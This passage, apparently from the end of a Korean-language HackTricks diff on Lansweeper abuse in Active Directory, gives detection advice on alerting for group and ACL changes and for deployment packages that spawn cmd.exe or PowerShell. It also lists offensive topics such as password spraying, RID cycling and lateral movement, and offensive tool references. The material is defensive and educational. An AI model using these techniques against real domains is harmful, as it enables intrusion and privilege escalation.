회전(rotate)하세요. 가능하면 최소 권한의 서비스 계정 및 gMSA 사용을 고려하세요. +- AD 모니터링: Lansweeper-related groups(예: “Lansweeper Admins”, “Remote Management Users”) 변경 및 권한 있는 그룹에 GenericAll/Write 멤버십을 부여하는 ACL 변경에 대해 경고하세요. +- Deployment 패키지 생성/변경/실행을 감사하고; cmd.exe/powershell.exe를 생성하거나 예상치 못한 outbound 연결을 생성하는 패키지에 대해 경보를 설정하세요. + +## 관련 주제 +- SMB/LSA/SAMR enumeration 및 RID cycling +- Kerberos password spraying 및 clock skew 고려사항 +- BloodHound path analysis of application-admin groups +- WinRM 사용 및 lateral movement + +## References +- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html) +- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame) +- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt) +- [BloodyAD](https://github.com/CravateRouge/bloodyAD) +- [BloodHound CE](https://github.com/SpecterOps/BloodHound) + +{{#include ../../banners/hacktricks-training.md}}